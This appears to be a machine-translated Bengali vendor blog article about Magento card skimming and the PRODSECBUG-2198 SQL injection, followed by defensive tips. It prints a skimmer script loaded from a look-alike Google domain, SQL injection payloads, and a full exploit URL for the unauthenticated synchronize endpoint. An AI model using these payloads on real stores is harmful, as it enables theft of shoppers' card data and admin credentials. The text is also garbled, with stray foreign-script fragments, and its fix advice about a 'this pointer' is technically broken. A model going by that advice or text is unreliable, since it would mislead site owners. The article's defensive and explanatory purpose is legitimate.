ম্যাজেন্টো কার্ড স্কিমিং হলো 'স্কিমার' নামে ম্যালিশিয়াস স্ক্রিপ্ট ইনজেক্ট করে ক্রেডিট/ডেবিট কার্ডের তথ্য অবৈধভাবে চুরি করার প্রক্রিয়া একটি ম্যাজেন্টো ওয়েবসাইটে। আপনি যদি একটি ম্যাজেন্টো-চালিত ওয়েবসাইটের মালিক হন, তবে এই আর্টিকেল আপনার জন্য। এখানে আমরা আপনাকে দিচ্ছি ম্যাজেন্টো কার্ড স্কিমিং সিকিউরিটি ইস্যুকে ঘিরে সমস্ত প্রয়োজনীয় বিবরণের একটি ভালো রিসোর্স।
এই আর্টিকেলে, আমরা আলোচনা করব ম্যাজেন্টো কার্ড স্কিমিং কী এবং এটি কীভাবে ম্যাজেন্টো ওয়েবসাইটকে প্রভাবিত করে (প্রুফ অফ কনসেপ্টসহ)। আরো, আমরা শিখব কিছু কার্যকর টিপস কীভাবে আপনি আপনার ওয়েবসাইটকে এই ইস্যু থেকে প্রতিরক্ষা করতে পারেন। তো, চলুন সরাসরি শুরু করি।
সম্পর্কিত আর্টিকেল – ম্যাজেন্টো স্টোরে মেজকার্ট আক্রমণ কী এবং এগুলিকে কীভাবে প্রতিরোধ করবেন
ম্যাজেন্টো কার্ড স্কিমিং কী?
ম্যাজেন্টো একটি PHP-ভিত্তিক ওপেন-সোর্স ই-কমার্স প্ল্যাটফর্ম। এটি একটি সেলফ-হোস্টেড কন্টেন্ট ম্যানেজমেন্ট সিস্টেম বর্তমানে অ্যাডোবির অধীন। প্রায় ২৫০,০০০+ ওয়েবসাইট ম্যাজেন্টো ব্যবহার করে তাদের ই-কমার্স ওয়েবসাইট চালানোর জন্য। এই ওয়েবসাইটের অধিকাংশ USA-ভিত্তিক ই-কমার্স জায়েন্টদের। তাই, ম্যাজেন্টো গ্রাহক অভিজ্ঞতা সুরক্ষিত করার ভারী দায়িত্বে আছে।
কার্ড স্কিমিং, অন্যদিকে, একটি ফিজিক্যাল কার্ড স্কিমিং ডিভাইস দ্বারা ক্রেডিট কার্ড এবং ডেবিট কার্ড থেকে তথ্য অবৈধভাবে কপি করার প্রক্রিয়া। এখানে ম্যাজেন্টো এবং কার্ড স্কিমিং একসাথে কীভাবে জড়িয়ে পড়েছে।
ম্যাজেন্টো কার্ড স্কিমিং একটি ওয়েব স্কিমিং রূপ যেখানে হ্যাকাররা থার্ড-পার্টি স্ক্রিপ্টের মাধ্যমে ম্যাজেন্টোতে পেমেন্ট ইনফো চুরি করে। এই স্ক্রিপ্ট তাদের অত্যন্ত গুরুত্বপূর্ণ ব্যাংকিং ইনফরমেশন চুরি করতে সক্ষম করে যেমন মালিকের নাম, ক্রেডিট কার্ড/ডেবিট কার্ড নম্বর, CVV নম্বর এবং এক্সপায়ারি ডেট। হ্যাকাররা সাধারণত এই ইনফরমেশন ব্ল্যাক মার্কেটে বিক্রি করে মনোটাইজ করে।
PRODSECBUG-2198 এক্সপ্লয়িট সম্পর্কে
PRODSECBUG-2198 ইস্যুটি প্রথমে ৯ নভেম্বর ২০১৮-এ Bugcrowd-এ রিপোর্ট করা হয়েছিল। মূলত, PRODSECBUG-2198 হলো একটি দুর্বল কোড যা ম্যাজেন্টোতে SQL ইনজেকশন অনুমতি দেয়। এই দুর্বলতা একটি অনন্টিকেশনেড ইউজারকে আর্বিট্রারি কোড এক্সিকিউট করতে দেয় যা সংবেদনশীল তথ্য লিক হতে পারে।
খুব দ্রুত বাগটি P1 হিসেবে মার্ক করা হলো। Bugcrowd-র মতে, P1 দুর্বলতা হলো সেই দুর্বলতা যেগুলো প্রিভিলেজ এস্ক্যালেশন কারণ হতে পারে। এর কারণে, যেকোনো ইউজার নিম্ন স্তরের পারমিশন থেকে অ্যাডমিনিস্ট্রেটর রাইটসে উন্নত হতে পারে। আরও, এটি রিমোট কোড এক্সিকিউশন, আর্থিক চুরি ইত্যাদি অনুমতি দেয়। এক্সপ্লয়িটটি নিচের ম্যাজেন্টো ভার্সনগুলোকে টার্গেট করেছিল:
- Magento Commerce < 1.14.4.1
- Magento Open Source < 1.9.4.1
- Magento < 2.1.17
- Magento < 2.2.8
- Magento < 2.3.1
গুগলের নামে স্কিমার
ম্যাজেন্টো স্কিমিং এর একটি খুব gầnের কেসে, আমরা হ্যাকাররা নকল গুগল ডোমেন ব্যবহার করে পেমেন্ট ডিটেইল চুরি করতে দেখেছি। এই আক্রমণে, ম্যালিশিয়াস জাভাস্ক্রিপ্ট লোড হচ্ছিল একটি ডোমেন থেকে যেটি বলা হচ্ছে – google-analytîcs.com বা xn--google-analytcs-xpb.com.
আপনি যদি গৌর से দেখেন, এটি আসল গুগল ডোমেনের সাথে নামখেলা। তাই, এই স্কিমিং আক্রমণ ফিশিংকে একটি মেথড হিসেবে ব্যবহার করে সংবেদনশীল পেমেন্ট ইনফো বের করতে। স্ক্রিপ্টটি এরকম দেখায় –
<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>
অধিকন্তু, এই স্কিমার লোড করা জাভাস্ক্রিপ্ট এবং document.getElementsByTagName ব্যবহার করে ডেটা ক্যাপচার করে। যদি কোনো ডেভেলপার টুলস ওপেন না থাকে, তবে এই স্কিমার চুরি করা ডেটা নকল গুগল ডোমেনে ট্রান্সমিট করে – google-analytîcs.com বা xn--google-analytcs-xpb.com।
তবে, আপনার ওয়েবসাইটে ডেভেলপার টুলস ওপেন থাকলে এটি একটি विचিত্র আচরণ দেখায়। এটি ডিটেক্ট করে এবং ট্রান্সমিশন প্রক্রিয়া মাঝপথে বন্ধ করে দেয়। এছাড়া, এই আচরণ ব্রাউজার সফ্টওয়্যারের ওপর নির্ভর করে ভিন্ন হয়।
ম্যাজেন্টো কার্ড স্কিমিং: প্রুফ অফ কনসেপ্ট
এই সিকিউরিটি দুর্বলতার সম্পর্কে একটি প্রুফ অফ কনসেপ্ট নিচে উল্লেখ করা হলো। এটি পাইথনে লেখা এবং মূল বিষয়টি যা ম্যাজেন্টো কার্ড স্কিমিং ইস্যু সৃষ্টি করে।
- এখানে কোডটি মূলত একটি ডামি ব্রাউজার সেশন সৃষ্টি করে কিছু র্যান্ডম URL এবং সেশন ডেটা দিয়ে। এটি Browser ক্লাস এবং একটি সেশন অ্যাকুয়ারিং ফাংশন ব্যবহার করে করা হয়।
- সেশন ডিটেইলসহ Browser ক্লাসের একটি অবজেক্ট SQL ইনজেকশন ক্লাসে পাস করা হয়।
- SQL ইনজেকশন এখন সেশন URL-এ কিছু পেলোড ডেটা যোগ করে, একটি প্রোডাক্ট তৈরি করে এবং তারপর ওয়েবসাইটের ডাটাবেস থেকে গুরুত্বপূর্ণ ডিটেইলস বের করে। SQL ইনজেকশন পেলোডও মডিফাই করা যেতে পারে ব্যাকএন্ড ডেটায় প্রিভিলেজড অ্যাক্সেস পাওয়ার জন্য।
- আক্রমণকারী ব্যবহারকারীর gầnেল ট্রানজ্যাকশন এবং ব্যাংকিং ইনফরমেশন সম্পর্কে তথ্য পায়।
এক্সপ্লয়িটটি কীভাবে আপনার ম্যাজেন্টো ওয়েবসাইটকে সংক্রমিত করে?
ম্যাজেন্টোর প্রায় ২ মিলিয়ন PHP লাইনের একটি বিশাল কোডবেস আছে। এটি এক্সপ্লয়িটের জন্য অডিটিং এবং সার্চিংকে একটি ক্লান্তিকর কাজ করে তোলে। যৎক্ষণ, আমাদের এথিক্যাল হ্যাকারদের টিম কোড চেক করল, তারা ORM এবং DB ম্যানেজমেন্টের জন্য দায়ী কোডগুলোর ওপর টার্গেট সংকুচিত করল।
ম্যাজেন্টো কার্ড স্কিমিং এর বাগগুলো যেসব এলাকায় ছিল:
১. prepareSQLCondition ফাংশনে
এই পাবলিক ফাংশন ডাটাবেস হ্যান্ডলিংয়ের একটি প্রধান ক্লাসের ভিতরে থাকে এবং এটি অবস্থিত
MagentoFrameworkDBAdapterPdoMysql
ফাংশন কোডটি নিচের ছবিতে দেওয়া আছে:
এক্সপ্লয়িট বোঝা
আসুন এখন এক্সপ্লয়িটের কাজ বুঝি চিহ্নিত লাইনগুলোতে ফোকাস করে। চিহ্নিত লাইন [1]-এ, একটি কন্ডিশন অ্যালিয়াস একটি প্যাটার্নের সাথে asoshiate করা হয় $conditionKeyMap ব্যবহার করে। এটি aliases-এর ভিতরে থাকা প্রতিটি '?' ক্যারেক্টারকে _prepareQuotedSqlCondition() ফাংশন ব্যবহার করে দেওয়া মানটির কোটেড ভার্সনে রিপ্লেস করে লাইন নম্বর ৩৩-এ লাইন ৩০-৩৫-এ লেখা লজিকের ভিত্তিতে। এখন নিচের কোড ইনস্ট্যান্সটি বিবেচনা করুন:
<?php $db->prepareSqlCondition('username', ['regexp' => 'my_value']); => $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?"; => $query = "username REGEXP 'my_value'";
এখন একটি সমস্যা উত্থাপন হয় যখন "from" এবং "to" কন্ডিশনগুলো লাইন নম্বর ৩০-এ একসাথে ব্যবহার করা হয়। সেই কোডের লজিক নিশ্চিত করে যে একটি ফিল্ড একটি রেঞ্জের মধ্যে রয়েছে। ভালো বোঝার জন্য, এই কোড স্নিপেটটি দেখুন:
<?php $db->prepareSqlCondition('price', [ 'from' => '100' 'to' => '1000' ]); $query = "price >= '100' AND price <= '1000'";
এক্সিকিউশন লজিক অনুযায়ী, যখন দুটি কন্ডিশনই থাকে, প্রথমে "from" হ্যান্ডেল করা হয় এবং তারপর "to" হ্যান্ডেল করা হয়। কিন্তু লাইন নম্বর ৩৮-এ একটি গুরুত্বপূর্ণ ভুল হয়েছে। "from" যে কোয়ারী জেনারেট করে সেটি ফারম্যাটিং-এর জন্য আরও ব্যবহার করা হয়।
এখন যেহেতু প্রতিটি "?" দেওয়া মান দ্বারা রিপ্লেস করা হবে, যদি "from"-এর মানটির মধ্যে একটি কুয়েশন মার্ক থাকে, তবে এটি "to"-র জন্য অসাইন করা মানটির কোটেড ভার্সনে রিপ্লেস হয়ে যাবে। একটি বৈধ SQL ইনজেকশন আক্রমণ করার জন্য, আক্রমণকারী নিচের এক্সপ্লয়িট কোড ডিপ্লয় করতে পারে:
<?php $db->prepareSqlCondition(‘price’,[ ‘from’ => ‘x?’ ‘to’ => ‘ OR 1=1 -- -’ ]); -> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”
ভুলটি খুব ছোট হলেও এর প্রভাব খুব বড় হতে পারে। বিস্ময়কর বিষয় হলো এই কোডের টুকরো ম্যাজেন্টো ভার্সন ১.এক্স থেকে থাকছে।
২. Synchronize ক্লাসের execute ফাংশনে
একটি অন্য দুর্বলতা পাওয়া গেল execute ফাংশনে নিচের লোকেশনে:
MagentoCatalogControllerProductFrontendActionSynchronize
PHP সোর্স কোড যেখানে সিকিউরিটি ইস্যু প্রকাশ পেয়েছিল:
<?php public function execute() { $resultJson = $this->jsonFactory->create(); try { $productsData = $this->getRequest()->getParam(‘ids’,[]); $typeId = $this->getRequest()->getParam(‘type_id’,null); $this->synchronizer->syncActions($productsData, $typeId); } catch (Exception $e) { $resultsJson->setStatusHeader( ZendHttpResponse::STATUS_CODE_400, ZendHttpAbstractMessage::VERSION_11, ‘Bad Request’ ); } return $resultsJson->setData([]);
বাগে খুব স Efterে যাওয়া কল স্ট্যাক:
<?php $productsData = $this->getRequest()->getParam('ids', []); $this->synchronizer->syncActions($productsData, $typeId); $collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData)); $this->_translateCondition($field, $condition); $this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition); $this->getConnection()->prepareSqlCondition($fieldName, $condition);
এই দুর্বল কোডের টুকরো ম্যাজেন্টো v2.2.0 থেকে থাকছে। ম্যাজেন্টো কার্ড স্কিমিং-এর সাথে জড়িত একটি নমুনা URL যা এই অনন্টিকেশনেড ব্লাইন্ড SQL ইনজেকশনকে সৃষ্টি করতে পারে:
https://magento2website.com/catalog/product_frontend_action/synchronize? type_id=recently_products& ids[0][added_at]=& ids[0][product_id][from]=?& ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
এখন যেহেতু ডাটাবেস থেকে ইনফরমেশন পড়া সম্ভব, আক্রমণকারী অ্যাডমিনিস্ট্রেটর অ্যাকাউন্টের ক্রেডেনশিয়াল বের করে সেগুলো ব্যবহার করে ব্যাকএন্ডে অ্যাক্সেস করতে পারে। তারা ব্যবহারকারীদের ডাটাবেস এবং ট্রানজ্যাকশন ডাটাবেস থেকে ব্যাংকিং এবং অন্যান্য আর্থিক ডিটেইলসও চুরি করতে পারে। আক্রমণকারী এই ইনফরমেশন ব্যবহার করে ই-কমার্স ফরড, ফিশিং বা এমনকি ভিশিংয়ের মতো সাইবার অপরাধ করতে পারে। আক্রমণকারী আপনার ওয়েবসাইটে ম্যালওয়্যারও হোস্ট করতে পারে যা আপনার প্রতিষ্ঠানের খ্যাতিকে ই-কমার্স প্ল্যাটফর্মে ক্ষতি পৌঁছাতে পারে। আপনার ওয়েবসাইট সার্চ ইঞ্জিন দ্বারা ব্ল্যাকলিস্টেড হতে পারে যা আপনার ওয়েবসাইটের অর্গানিক ট্রাফিকে পতন আনতে পারে।
আপনার ওয়েবসাইটকে ম্যাজেন্টো কার্ড স্কিমিং থেকে কীভাবে রক্ষা করবেন?
এখন যেহেতু আমরা বিস্তারিত বুঝেছি ম্যাজেন্টো কার্ড স্কিমিং-এর কাজ, চলুন বুঝি কীভাবে আমরা ভবিষ্যতে এর থেকে রক্ষা পেতে পারি।
-
prepareSqlInjection ফাংশন স্যানিটাইজ করা
prepareSqlInjection ফাংশনে সিকিউরিটি বাগ সরাতে, কোডটি এইভাবে লিখতে হবে:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);'this' পয়েন্টার ব্যবহার করে পাস করা মানটির একটি রেফারেন্স আক্রমণকারীকে ব্যাকএন্ড ডেটাতে সরাসরি অ্যাক্সেস থেকে বিরত রাখবে। একটি পয়েন্টার ভেরিয়েবল ব্যবহার ডেটা অ্যাবস্ট্র্যাকশন এবং শুধু অনুমোদিত ফাংশনে অ্যাক্সেস সক্ষম করে।
-
ইনপুট ডেটা যাচাই করা
আপনার ম্যাজেন্টো-ভিত্তিক ওয়েবসাইটের যেকোনো পৃষ্ঠায় ইনপুট হিসেবে নেওয়া মানগুলো ব্যাকএন্ড প্রসেসিং-এ পাঠানোর আগে যাচাই করা উচিত। যাচাই করা যেতে পারে উপযুক্ত ফাংশন বা লজিক ব্যবহার করে। এটি ফুলপ্রুফ হতে হবে। ওয়েবসাইট অ্যাডমিনিস্ট্রেটরকে ডেভেলপারদের বাধ্যতামূলক করতে হবে সিকিউর এবং কম দুর্বল কোড লিখতে।
-
সিকিউর করার জন্য আপডেট করুন
আপনার ম্যাজেন্টো-ভিত্তিক ওয়েবসাইট দ্বারা ব্যবহৃত সকল প্লাগইন অবশ্যই লেটেস্ট ভার্সনে আপডেটেড থাকতে হবে। এটি আপনার কাস্টমার এবং ব্যবহারকারীদের জন্য একটি সুরক্ষিত অভিজ্ঞতা নিশ্চিত করবে। হ্যাকাররা সাধারণত পুরনো প্লাগইনে চলা ওয়েবসাইটগুলোকে টার্গেট করে এবং তারা ম্যালওয়্যার হোস্ট করতে পারে যা আপনার ওয়েবসাইটকে ধীর করে দেবে এবং আপনার ম্যাজেন্টো ওয়েবসাইটকে ব্ল্যাকলিস্ট করবে।
-
সিকিউরিটি ऑডিট
সাইটের একটি ত뫂 সিকিউরিটি অডিট করুন নিশ্চিত করার জন্য যে আপনার ওয়েবসাইটে ইতিমধ্যে কোনো সিকিউরিটি লুপহোল নেই। সকল ম্যাজেন্টো ইউজার রিভাইজ করুন এবং যেগুলো আপনি চেনেন না সেগুলো মুছে ফেলুন। আপনার ওয়েবসাইটের সকল লুপহোল এবং কোডিং দুর্বলতা আবিষ্কার করতে, আপনি আপনার ওয়েবসাইটে একটি প্রফেশনাল VAPT (Vulnerability Assessment and Penetration Testing) করতে পারেন।
-
যেকোনো সিকিউরিটি ডিসক্রিপ্যান্সি রিপোর্ট করুন
যদি আপনি ইউজার ডাটাবেস বা ট্রানজ্যাকশন হ্যান্ডলিং ডাটাবেসে যেকোনো সিকিউরিটি ব্রিচের أثر পান, তবে জড়িত পক্ষগুলোর সাথে (পেমেন্ট প্রসেসর, কাস্টমাররা, এবং কোম্পানির স্টেকহোল্ডাররা) যোগাযোগ করুন এই জরুরি পরিস্থিতি যত্নশীলভাবে সমাধান করার জন্য। সিকিউরিটি ব্রিচ কখনও উপেক্ষা করা উচিত নয়।
-
শেয়ার্ড হোস্টিং সিকিউরিটি রিস্ক নিয়ে সতর্ক থাকুন
যদি আপনার ওয়েবসাইট শেয়ার্ড হোস্টিং ব্যবহার করে হোস্ট করা হয়, তবে আপনাকে ব্যাকআপ এবং বাড়তি সিকিউরিটির জন্য প্ল্যান কেনা উচিত। আপনি, একজন সিকিউরিটি অ্যাডমিনিস্ট্রেটর বা ওয়েবসাইট অ্যাডমিনিস্ট্রেটর হিসেবে আপনার হোস্টিং সার্ভিস প্রোভাইডারের সাথে যোগাযোগ করুন এবং শেয়ার্ড হোস্টিং সার্ভারে হোস্ট করা অন্যান্য ওয়েবসাইটগুলো সম্পর্কে জানুন। আপনার ব্যবসার অনলাইন খ্যাতি ঝুঁকিতে দাও না একটি ইকনমিক অপশনের জন্য। শেয়ার্ড সিকিউরিটি রিস্কের ওপর একটি বিস্তারিত আলোচনা ইতিমধ্যে আস্ট্রা ব্লগের একটি পূর্ববর্তী আর্টিকেলে করা হয়েছে। আপনি এখানে ক্লিক করে পড়তে পারেন।
-
ডেটা এনক্রিপশন
আপনার ওয়েবসাইট ডাটাবেসে সংরক্ষিত ডেটাকে একটি শক্তিশালী এনক্রিপশন মেকানিজম দিয়ে এনক্রিপ্ট করুন। এটি আক্রমণকারীদের আপনার ব্যবহারকারীদের ব্যক্তিগত ডেটা বা আপনার প্রতিষ্ঠানের কৌশলগত ইনফরমেশনে সেংগে घुसতে কঠিন করবে।
-
XSS আক্রমণ পথ ঠিক করুন
যদিও, এই আর্টিকেলে আমরা XSS আলোচনা করছি না যেহেতু ম্যাজেন্টোর পেমেন্ট গেটওয়ে পেজগুলো PHP-ভিত্তিক ফর্ম ব্যবহার করে নির্মিত, তবে এটি গুরুত্বপূর্ণ যে তারা htmlspecialchars() ফাংশন ব্যবহার করে $_SERVER[“PHP_SELF”] আক্রমণ প্রতিরোধ করে।
-
ফায়ারওয়াল ইনস্টল করুন
একটি ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল ইনস্টল করা আপনার ওয়েবসাইটের সিকিউরিটি বাড়ানোর আরেকটি উপায়। আস্ট্রার ফায়ারওয়াল আপনার ওয়েবসাইটের জন্য একটি চলন্ত মনিটরিং সিস্টেম। এটি আপনার ওয়েবসাইটে আসার আগে হুমকিগুলো শনাক্ত করে এবং ব্লক করে ২৪*৭। 게다가, এটি প্রতিটি আক্রমণের চেষ্টার সাথে এভোল্যুশন করে এবং পরবর্তী আক্রমণের জন্য আরও ভালো কনফিগার্ড হয়ে যায়।
ম্যাজেন্টো সিকিউরিটি ইস্যু সম্পর্কে আরও আর্টিকেলের জন্য, এখানে ক্লিক করুন।
আর্টিকেলটি সহায়ক লাগলে? ফেসবুক, টুইটার, লিঙ্কডইনে আপনার বন্ধুদের সাথে শেয়ার করুন।